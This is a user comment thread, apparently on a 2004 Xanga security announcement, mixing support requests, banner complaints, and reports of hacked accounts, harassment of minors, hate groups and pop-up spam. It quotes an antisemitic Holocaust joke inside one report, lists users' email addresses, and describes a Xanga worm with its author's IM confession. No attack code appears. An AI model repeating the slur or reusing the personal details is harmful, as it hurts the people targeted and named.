  • Hi John, it's Kimberly (aka Mugzee & Brooklynheart). I've got 2 code problems regarding an email button & the "home" button for my skin. Can you please take a look at my site (skin) and email me the correct codes for those 2 buttons. I'm frustrated. Additionally - how long will my old sites stay up? Although Brooklynheart is no longer premium - a year's worth of my life is in private mode there - and I'd hate to lose it. Help soon okay? I'd like to go public with my new site & can't until I get those 2 buttons working. Thanks John   KimberlyRoad@aol.com

    My xanga started to act up right after I changed the layout. I saved the settings, but now it won't let me go back in. Every time I try, it says..."operation aborted". Can you check it out and e-mail me if you find anything out? I'd greatly appreciate it-

    My e-mail address :Tryplefivesoul@aol.com

  • i reccently read what was going to be done about security on xanga and i wondering if you could help me. someone hacked into my xanga and stole my password. they started to write weblog entries pretending to be me. i changed my password and they did it again. they threatened to mess up my phone bill too.  i dont know what to do. so if you could help me that would be great. if not, thats okay. my name is lesley. my site is yayfoelesley and i wrote my password on my chatterbox.

  • I was able to fix the problem with my hacked Xanga website myself.  Thanks anyway!  Lilaznxbraceface@aol.com.

  • hi- i wanted to know if you can possibly help me with my xanga problem. see i was putting up a new lay-out with some codes and it turns out that i had forgotten to add the look & feel code. right now i can't fix up my lay-out cause i don't have a look&feel button. is there anyway i can add it? or atleast a way from me to get back to fixing my lay-out. i can sign in and make new weblog entries, but i just can't finish fixin my lay-out cause the look & feel code is missing. anyways thanks for hearing me out. im sorry for the bother, i just don't wanna leave this xanga. i would love to hear from you soon. THANKS SO MUCH!!

  • John:

    Please add tightened security to protect the kids from each other and predators.  There is anger, hate, put down, and threat postings happening between kids.  They are using the e-mail link to send even worst e-mails.  One of my friend's 13 year old daughter tried attempted suicide and was institutionalized because of what happening here and through this website.  Also, my own daughter became very depressed and was becoming suicidal.  She has been threatened with physical violence through e-mail and Im too then one member threatened her at school.  You can probably realize the horror at being called at work to come get my daughter immediately from school  because one of this website's male members threaten her at school.  Another member physically hit her and posted about it. 

    The other parents, myself, and school officials with this website.   We have tried blocking and removing internet access. 

    I realize some of my postings may not been fully appropriate.  I fell to the anger, fear, stress, and worry.  Yes, I freaked the kids out because I was the first parent to say I am here.  I scared them even more when I told them that I will have their e-mails, Ims, and website activity shut down plus talk to parents, school authorities, and using the law.  To me, the gloves came off when my daughter's well being and security was violated.

    I am doing everything trying to be a responsible parent and I feel strongly that website needs to be responsible for the access and content of kids too. 

  • hi well i use  the blinky code but i never taken the banner off, can i still keep mai blinky boxes? ^_^

  • Question, broham.  Do comments max out at 255?  I've been checking out site updates in the past and on your page, all the comments stop at 255 o.O

  • hey...in regards to you geniuses who got hacked...one of the best protections against a hacker is a password that can't be found somewhere on your site...DON'T USE YOUR NAME!

  • i doubt you would have time to answer this, or if you even will cause i'm not sure how the whole thing works, but anyway...i have found out that my guestbook isn't activated and i can't find where to activate it...so do i have to be a premium member to have a guestbook or am i just over looking something...like i usually do? can you help? thanks. have a nice day!

  • owell i wuz gonna get a code 2 get rid of da ad on mah site but owell its all good well good job keep up da great work laterr

  • yeah you should put the banner in the bottom! that kinda sucks...

  • Most people are too stupid to really appretiate what you Xanga people have done...because if you think about it if they didn't do stuff like this hackers could do all sort of junk that shouldn't happen...besides its thier right to keep the ad there if they want. besides if you people rely on things like blinky boxes then you need to learn how to design a site or atleast a good color scheme.

  • cancel my premium subscirption..tracking # :2215826-16..thanks..CrimsonSorrow

  • I can't get into my xanga page, post any entries and people can't recive or get comments anymore. What am i spose 2 do about that?

  • hey john! this is princessangeldog, well, former. someone recently got into my xanga and changed the email and changed the righthand link so that i can no longer edit my page. is there anything that you can help me with? can you please at least give me the email to who the xanga "supposedly" belongs to now? thank you. i hope to hear from you soon. you can reach me at dogloveracy@yahoo.com

  • I know this is a beaten, worn out topic, but as I heard somewhere (this is my view and does NOT reflect the views and/or opinions of xanga in ANY way):

    If ever you feel like you are not getting your money's worth ($0), then you may politely notify the people who are striving to bring you a FREE product, then wait for them to get to it, knowing that there is a good chance that you may be completely and totally ignored... complaining about it will get you nowhere, and cursing at them about it will get you even less. So until you start paying them for something, or they graciously ask for your opinion, you may leave the b!tching at the doorstep. Thank you and have a nice day!

    P.S: I will not make judgements, but just from the sound of it, I doubt that your visitors will miss the "blinky boxes", falling pics, scrolls, and "mouse things". You do realize that you have to be 13 or over to register for stuff online, right?

  • HELLO!!!!

    I was wondering... Where can I go to find if anyone "blocked" me?

    If can tell me, comment on my Xanga. :)

  • So a few things don't work if you can't afford four dollars a month or one of the other plans? It's not a big deal and it wouldn't have been a problem if people hadn't been abusing the free accounts in the first place.

  • I need some help, my site won't let me put up any music. I'm not sure what's wrong with it, it just won't work, I've tried everything even my friend did it on her computer for me because her's works fine. I think it might be something with the site im not sure... Can you help me out? ~KK~

  • so can we use chatterbox or not?

  • ABOUT TIME!

  • to all complaining whiney-babies... quitchabitchin.

  • i agree that the banner is ok for free plans. but you say you're trying to tighten security, ahhahahah you better check yourself! me and my buddies have found a couple ways of getting around stuff...contact me if you please. this is a secondary email and login

  • John: Please contact me at

  • hey ummm my music doesnt play anymore so i wwas wonderin if u could help wit that ....

  • you should definitely take a look at this xanga. i want it out of this community because it is inappropriate and disrespectful of other users' images.

    thanx, rayna

  • how do you shut down a xanga for a hate crime? please respond back!!

  • i need you to cancel my premium...i tried but 40 freakin popups came up and it wont let mee cancel it..plzzz get bak to me

  • I have a list of links on Furl.net. I was wondering if I could post these in my journal using Javascript.

  • how do u change ur pass!!! i think sum1 found out!

  • As a Java programmer, I was counting on the SetTimeout() function for some creative scripts. I have created and implimented hacks on similar sites (never on xanga, nor do I intend to) but the hacks never use the SetTimeout() function.  Is there a buffer overflow vunerability there? ... how could it even be used for a hack... hmmm...

  • Hey, I was just wondering if there's anything you can do about people -cough-Gr0w_up_Amanda-cough- who create xanga sites to flame and put down other people on their sites.  This guy is 50 and started a site to molest my 16 y.o. friend and now me for defending her.  Thankyou for your time.

  • http://www.xanga.com/home.aspx?user=FREE_FLATSCREENS

    SECURITY BREACH.

  • i dunno but i think someone got my password and got tha primium cause it says thank u n in my other one it said somethin like uve been apart of xanga for blank many days wont u suport it by goin primuem so i dunno if u noe ne thin please respond...thank u

  • PLEASE HELP!

    I don't know who else to ask...so when I saw "Security" I was hoping you could help. This person Seriousizzle is commenting w/ horrible malicious things on my friend Chinikins xanga. I'm talking about dead babies, mutilations, decapitations...it's just horrible. Can you help somehow?

  • Nice security measures. Is there anyway to change your password on xanga? My sister threatens to delete my account 'cause she knows my pw.

  • hi

  • where do i go to complain about someone?

  • goddamnit!!! my clock cursor is gone... it was so awesome. thanks a lot. :P

  • if people are so cheap they cant use xanga they way it was designed to be used, meaning without the malicious codes, why even use a journal. geez, buy the journal or just be freaking happy with what you're given. it's a choice to use the site, no ones forcing you to do it. maybe they should start a web-journal site of their own and put all the features they want available on it and see how expensive it is to run, then they'd appreciate what all they're given now. i love you guys at xanga, keep it up!!!!

  • I'd like to report a highly offensive blogring http://www.xanga.com/groups/group.aspx?id=76863 called white power which discriminates against jews and african americans!!! please do something about this!!!!!!!!!!!!

  • http://www.xanga.com/groups/group.aspx?id=76863 get rid of this blogrings please!!!! its discriminating!!!

    Another blogring thats discriminatory is

    kkk_all_the_way is a person's username who said --What's the difference between a jew and a pizza?
    A pizza doesn't scream in the oven.

    ^^ please delete these!! and any other like it!! There shouldnt be this type of stuff. there bringing back the holaculst!!!! If xanga is gonna have material like this then I'm sorry but I can not be part of the xanga members..

  • that's quite ignorant of you. first of all, she started off manipulating pictures before the Hot Import Night ones, which are the ones where i am fully clothed. also, she has been doing so with other xanga users. i am not the only one. HIN is a car show..that was one night..don't assume i dress like that everyday. regardless of HIN, there's no importance to whatever i may be wearing in the picture. this is harrasment. if you're not going to take any action upon this then so be it. legal action may be a consequence to your ignorance. you're putting full blame on me, yet when uploading pictures, nudity and copyrighted pictures are prohibited. that's ironic, nak3d_gurl's xanga is full of nudity. that's my two cents.

  • I have slander problems can you delete the xanga jj_me_hungry.

  • hey... someone's been posting stupd stuff on my bestfriends page... and is completely harasseing up on me and her... it was posted on her chatter box... and it was under an anonymous name... i have the i.p adress 64.12.117... so i dont really know what else to say but is it possible for you guys to block that same person from posting anything more?

  • wow i cant belive that.

  • Hey John?

    I have a question. There's this user who continues to use racial slurs on my xanga, and I was wondering wouldn't this kind of activity get someone banned?

    He's been harrasing everyone I know and it's becoming a nussiance.

    If you can help me with this, it would be appreciated.
    Thanks.

  • people always have to complain about something god grow up

  • This sux

  • too many screen names are already been used!!! xanga should delete people's screen names that aren't being used or being written in!!! i really really want this one screen name , but someone already owns it!! and they're not even writing anything in it!! waht a waste of a screen name .. xanga should respond into quick action about this situation!! heres my email pinoyboi@sbcglobal.net .. email me if this problem has be fixed

  • we beter be able to keep our free site and no one else that joins after the date can or that will make u lose alot of site!

  • John, I reported this guy to abuse a few times for the blatant pornography, and have had no response. His site's still there, and he's started rings on the Christianity forums with it, which is highly offensive, so I thought I'd try this approach and report it to you. Thanks.

  • awesome!

  • do you know anything about this backdoor trojan stuff? I've already taken my computer to the shop twice because of it slowing down my computer.

  • Does your new security have anything to do with the fact that all my photos posted when I had my xanga premium trial have disappeared?

  • Geeze, Stop whining people.. Xanga premium is only 4 bucks a month and it offers so much more... Image hosting and all the scripts your modem can handle. If you don't want premium or can't afford it then maybe you should know that there's so many other things you can do to your Xanga other than blinky boxXxes and falling images. There's so much Html and stuff out there that will allow you to do so much. And as for the ads.. That's how they keep Xanga free.. DUH! And if you don't like it or you don't want to pay then go get a live journal.. babies....

  • you bitches suck you all fucked up my got dame site and now it is not there

  • last nite i change me background n tuday its totally different......y is it like that??

  • I want to be able to put family pictures and stuff on a left side bar and make that part really personal.  That would be a great addition for premium. 

    Also, how do we report people on xanga who are saying really mean things about others?  This is totally inappropriate.

  • Yea...that makes all kindsa sence....thanks for making Xanga a safer place! OH YEA! Yuo guys OWN!

  • XANGA IS GREAT! Thanks!

  • hey dude i need help .. is there a penalty for someone who is excessively cussing and  .. stuff on their xanga? im very offended at this one person

  • What about content, as I am somewhat tired of racist comments being posted and found on several sites.  Perhaps, if you're not too busy, you could focus some attention to that as well.

  • Ummm.....hi just wanted to say Hi

  • i got a virus thing on my xanga!! help me out pleaseeeee

  • OWNED - ENFECT... that is what my xanga said.  someone must have did something to delete all my three years of entries when i checked my subscription.  is there a way i can get it back.  http://www.xanga.com/lilocharmedone

  • ya virus stuff~

  • hey john, i noticed when you first sign up for xanga, it gives you the option of going to sitemeter.com, but then when i went to your FAQ's section, i noticed you said,

    "In fact, using any JavaScript codes which track visitors to your site is a violation of our Xanga JavaScript Policy.  We're big believers in privacy, and that means that we don't want our users to feel like they're being tracked as they click across Xanga."

    However, when you use sitemeter, you can access all that information. Is this some sort of contradiction of policies? I'm a bit curious...

    Thanks for taking the time to read my comment. Maybe you could fix this problem in the near future.

  • oh, by the way, no worries, i'm not some sort of xanga hacker, just a confused first time xanga user =P

  • Hi, lately an old friend of mine has been posting very offensive and horribvle things about me n other people i know, i would like to know if there is and action i can take to get this post deleted, or file a complaint becasue the things are very offensive and its open for the world to see..please get back to me, my email is hockeydefnsman5@aol.com

  • Help! I lost my password and my e-mail on file doesn't work! Please Help! My computer saved the password luckily but I want to get out of some weblogs.

  • this is vanillaswillgirl something happen i cannot get on my site please help me out  please

  • there is a user putting links in comment boxes saying they're for free xanga 2 premium, but when they are clicked on, they are pulling up countless windows of porn with audio that block up the computer. please contact me by email so i can tell you more. i just want this person stopped. strippoolpro@yahoo.com

  • This morning I got a very gross e-mail from a wtfbatman and also one from cmdrGoatse. They were incredibly rude and a lot of other people received them also, Is there anyway besides blocking him, like can someone shut his account down? Both accounts I'm assuming were his. Anyway, thank you, up until now I've had a great expiriance with xanga. Keep up the good work.

  • Didn't even notice. 'Cause I don't use obnoxious JavaScripts that stop Xangas from loading on slow computers and Macs.

  • wth r blinky boxes? thats fine i nver liked blinky stuff neway. and those falling hearts are a hassle

  • Ok this doesnt really pertain to the kind of security you're talking about. But recently some of my friends have received comments threatening their lives. That is not cool. If you want to see for yourself then check Thestarswillcry17 or lettertotheworld. There are two other sites (not mine I haven't gotten one yet) with threats. The threats are made by user "BlackestTears2". Is there anyway to stop these messages? Thanks

  • Hello John-
    My site (www.xanga.com/piripiri) received a comment for my most recent post: "This comment has been removed for violating Xanga's Terms of Use. Site owners can use the 'delete' link to remove this comment from their site."

    The problem is, I have no idea why? Can you tell me so that I can adjust my blog.
    Thanks

  • How do you report a user who u don't know but left a message and then i went to the site and it had horrible pictures....

  • TO KEEP XANGA SAFE:  some mother effer (teamofexperts) is goin around commentin on xanga but when u click on the link..it's one of those pop ups that keep on multiplying and never shut up so u cant X them off.. and the picture is porno to..i also think they mess with ur cookies..i'm not sure.. could u please do somethin aobut that?  thanx :]

  • I guess I could tell you this since you are in security. I had a person HeroForYou leave a comment on my site that wasn'y suspicous it was normal comment, but when I clicked on there site it had pornographic pictures pop up and they wouldn't stop! Pleas inform others about this! IT isn't safe!

  • is there any way of blocking someone from my site? there is a person who left a comment on my site that leads to another page, not on xanga, that was a little disturbing, not to mention distasteful. i will leave the comment up for a couple of days, if you want to see it. and if you can let me know if there is anything i can do that would be great thanks!
    the comment is on monday, sept. 13's entry.

  • WHO WANTS TO PAY JUST TO HAVE A JOURNAL ONLINE? I KNOW I DONT..AND PLUS U HAVE TO CHARGE IT..I DONT THINK SO?..AND PLUS HOW ARE WE GOIN TO CHARGE THAT SHIT IF WE DONT HAVE A CREDIT CARD U ASS!

  • how do i report a bad xanga?... lemme know?... anyone?... thanks

  • Hi

    I am McLainla. I have a Xanga blog. Someone put up a malicious posting acting like they were passing through and putting something positive up. As it turns out, it is a link to a never ending series of pop up windows that can only be stopped by patiently shutting down the computer. the user is aquaFEENA. The picture that pops up is horrible (an abortion in progress I think) and I do not want this person's "comment" or "eprop" listed on my blog for other to accidently click on. What can I do? I cannot find an "send us an email about abuse" link anywhere on Xanga. I sincerely enjoy using Xanga. Thanks for any help you can give me.

  • i HAV A BIG PROBLEM . HELP ME

    LOOK I HAV THIS XANGA CLASSIC SITE . AND I THOUGHT OF GIVING MY SKIN TO THE DIRECTORY
    ALTHOUGH I KNOW IT SUCKS .

    SO I GAV IT
    AND THEN I WENT TO CHECK AGAIN IN THE DIRECTORY  , I FOUND IT WAS THE SAME AS SWEET SIMPLICITY WHEN I PREVIEWED IT , ALTHOUGH ITS DIFFERENT WHEN I OPEN UP MY XANGA , I WANTED TO EMAIL THIS TO HELP XANGA COMMUNITY OR SOMETHING BUT , I HAV NO IDEA WOTS HAPPENING .

  • WHO'S THE COMPUTER EXPERT THAT'S HACKING XANGA?

  • Ok #1 the ad isn't that big so it's really not that big of deal, but if people want xanga premium they'll get it and if they don't they wont.  No one's going to decide to get xanga premium just because there happens to be a link for it at the top of the page.  To all those people that said "if it was at the bottom then no one would click it:" if people want xanga premium they'll still click it if it's at the bottom.  If they don't want it, then they wouldn't click it anyway, even if it was at the top.  Putting it at the top isn't going to make more people subscribe...  It really doesn't matter to me all that much - it's just an ad, but it seems to be annoying a lot of people.  Putting it at the top isn't going to make people who don't want premium randomly click it, so why not put it at the bottom?  It will make all those crabby people happy, and anyone who wants premium will still have a link to click to get it.  It seems like an ideal solution for everyone.

  • i just upgraded to premium..because i wanted to be featured or wutever..and now im not sure how to do that..and i do not understand how to use the module thing..can u please help me..

  • I not sure if should send this to you or not. This morning I looked at my e props on my xanga site and i click on a message someone left, someone i dont know, and it made my computer go crazy, i dont think it made any lasting damage but it would good to warn people about this person.

    "Wow, nice Xanga! Please come visit mine: Here
    Posted 9/18/2004 at 1:16 PM by Bloody_Ressurection - delete - block user"

  • HOW COME NOBODY BLACK IS EVER FEATURED???

  • emm you seem like a guy to report this to... i got some sort of xanga virus (i guess) by clicking on a comment posted by- SelfImmolation. It was very disturbing and slowed my computer! please check it out... thanks!!!

  • Um......................someone gave me a really mean comment on my xanga and I have no clue who this is and his xanga is http://www.xanga.com/legomaeggo . Can you please delete this xanga?

  • some sicko posted these really mutalated pictures on a comment link and i don't know who to tell b/c i have no idea what to do

  • dear everybody complaining. get a life.

    i post like...3 times a day. nobody comments i don't care. my site looks decent. seriously all those extra code things are annoying and only look cool if you are like 14...

  • how do you report really bad sites? because my xanga got commented by this really bad sicko and yeah

  • john, please block this person's site ASAP.  in fact, it has been so bad that there have been a few police reports issued already, and I am sure the officer's have contacted Xanga concerning this user.

    http://www.xanga.com/home.aspx?user=a_404_is_you

    please, take note of his CONTACT INFO, IP ADDRESS, and any other info submitted to Xanga.

    please, take note of his CONTACT INFO, IP ADDRESS, and any other info submitted to Xanga.

  • hi john, i would rather leave my name anonymous. so i would appreciate if my screen name for xanga doesn't show when i report this. there's one xanga named ATvile, and he/she is leaving comments to other xangans about sexual issues, profanity, and unappropriate things. i would appreciate if you could stop ATvile from doing this. i hope you could read this asap, and thank you for your assistance.

  • There are users leaving gay porn popups as comments... one in particular is "Bush_for_04"... I'm not sure what to do or who to report it to, so I thought I'd let you know.

    thanks boss,

    Jim

  • Hey-so what do we do about threats and stuff...there was one on a site I saw and it wasnt pretty...thanks, just get in touch with me whenever you get a chance. Thanks

  • ive been browsing through xangas and have found some things i find VERY disturbing. girls are making PRO ANOREXIC sites. this disgusts me. this gives the wrong message to tons of kids. i feel sorry amd scared for the girls who are browsing xangas and have to come across this. its disgusting and i truly think something should be done about this. you even featured one of the girls xangas on the front page!! from her site i clicked TONS of links linking to OTHER pro anorexic sites.

  • i got a very nasty nasty comment from "Jeden001", a bunch of popups with disgusting picture...i just thought someone should know because thats very disturbing..dont know who the complaints go to but someone should delete that xanga

  • Well HALLELUJAH!  That ad stripper is what turned me off from going premium in the first place.....now please put back the Spotlight box because the people you got featured are LAME!!  Where's more peoplel like nina_williams or mister donut?  PLEASE....

  • hey man how can i get my site to be on the Xanga home page. i want more people to hear about my site.

  • Oh my god! I love Xanga so much that I even got the premium! Who is "Screw_Bush_04" and why have they left a 2 comments and a hyperlink to a very disturbing site on my xanga!? It's people like this who ruin it for all of us! Thank god the good folks at Xanga shut them down for their crazy antics! If you want Ad-free xanga people, JUST GET PREMIUM! For less than $2 a month, it's worth it. I <3 it! I <3 it! I <3 It!

  • um...someone is sending me or leaving me links. I has too make a new xanga. It's terrible. Please make them stop. I found this one ID and i don't know who it belongs to but I think they need like to be blocked. I don't know what their xanga username is so I can't block them: 68.5.9.

    Please figure it out quickly!!!!!

  • ok well "john " i have a commet from this "pandora sky" and in it he remakes about my site and he says to check out his site (there is a hype link to this think that puts porn pictures all over the screen )i was wondering how he could get flaged to other members or just planly kicked off

  • helpp

  • ehh.. don't know what happened to my xanga... it said i got a xanga virus and go to the next page will help me to delete it... then it turns to another people's xanga....

  • http://www.xanga.com/item.aspx?user=joe_x&tab=weblogs&uid=145596444

    this is the site... argh,,,

  • Hey, uh why is it saying my page doesnt exist anymore?

  • is this official xanga stuff? http://www.xanga.com/item.aspx?user=joe_x&tab=weblogs&uid=145596444

  • John, plez fix the problem ASAP. Apparently, this joe_x guy is spreading the virus in xanga community.

    His username is: Joe_x

    Sunday, October 17, 2004
    HERE'S THE DEAL: I'm sorry you were redirected to my site. I did not write the virus, and I have no control over it. Here's how to remove it:

    Go to your CHANGE LOOK & FEEL page.
    Scroll down to WEBSITE STATS. (Apparently it might also be in CUSTOM HEADER.)
    Check for a code at the very bottom, that looks like a flooble chatterbox, but that mentions aj.rezzycakes.com. Delete all of that.
    I'm sorry everybody. This really pisses me off. I wish you luck in getting rid of the virus. --jeff

    p.s.> If you get a pop-up message, it means that THE SITE YOU TRIED TO VISIT was infected. It's very possible that yours is too, but not necessarily.

    EDIT> I found out who is responsible for this, and we're doing everything we can to get the stupid thing off your site.

    EDIT> Here's the virus writer, outsideforthenet:
    me): someone blamed you for writing the xanga virus, though, on your comments...
    (me): did you?
    OutsidefortheNet: well actually yeah, but it never did what people like joe_x say it did.
    (me): what'd it do?
    (me): that was one awesome piece of shit you wrote...i'm seeing it everywhere
    OutsidefortheNet: mostly, it just spread itself pointlessly. on occasion, i'd give a random xanga a ton of eprops, just to mess with their heads. then i made the mistake of doing that to godofphotoshop, and he posted about it, so i needed to get his password to delete that post. then all hell broke loose
    (me): no shit all hell broke loose
    (me): dude, this is godofphotoshop...and joe_x
    OutsidefortheNet: oh haha

  • You people either need to stop complaining about Xanga, or stop using Xanga. They dont have to make Xanga free at all, and you dont have to use it, so sit down, and shut up. i doubt you people are interesting enought to read about anyway, Plus, nobody likes a Xanga Filled with stupid things in the way that you think look cool. it may look cool, but its just obnoxious.

  • Ok well someone completely changed the layout of my web page and I'm a little peeved about it he even left a little thing on the bottom saying who it was.  Is there anyway to report him or what?

  • just a hint, i really dont think that banner helps much, most of us think that its will infect the computer with spyware like many banners do.
           Im ok with the changes just as long as music isnt touched.     well i take that back, why mess with the blinking boxes and other stuff? some of us spend time making those for nothing that sucks balls. big balls

  • Id like to point out that you can make your HTML page have a #random tag and then your home page will load where that random tag is. This will cuase the banner to be hidden, there, at the top.

    mmm html
